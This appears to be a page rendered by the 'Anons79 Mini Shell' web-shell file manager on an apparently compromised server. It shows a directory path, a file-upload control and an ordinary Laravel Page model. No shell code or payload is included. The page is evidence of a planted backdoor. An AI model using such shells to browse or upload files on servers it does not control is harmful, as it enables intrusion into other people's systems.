Anons79 Mini Shell

Directory : /home/aplikasiposinfo/.trash/app.4/Models/
Upload File :
Current File : /home/aplikasiposinfo/.trash/app.4/Models/Page.php

<?php

namespace App\Models;

use Illuminate\Database\Eloquent\Model;

class Page extends Model
{
    public $table = 'page';

    public $fillable = [
        'title',
        'url',
        'slug',
        'page_category_id'
    ];

    protected $casts = [
        'title' => 'string',
        'url' => 'string',
        'slug' => 'string'
    ];

    public static array $rules = [
        'title' => 'required|string|max:255',
        'url' => 'required|string|max:255',
        'slug' => 'nullable|string|max:255',
        'created_at' => 'nullable',
        'updated_at' => 'nullable',
        'deleted_at' => 'nullable',
        'page_category_id' => 'required'
    ];

    public function pageCategory(): \Illuminate\Database\Eloquent\Relations\BelongsTo
    {
        return $this->belongsTo(\App\Models\PageCategory::class, 'page_category_id');
    }
}

Anons79 File Manager Version 1.0, Coded By Anons79
Email: [email protected]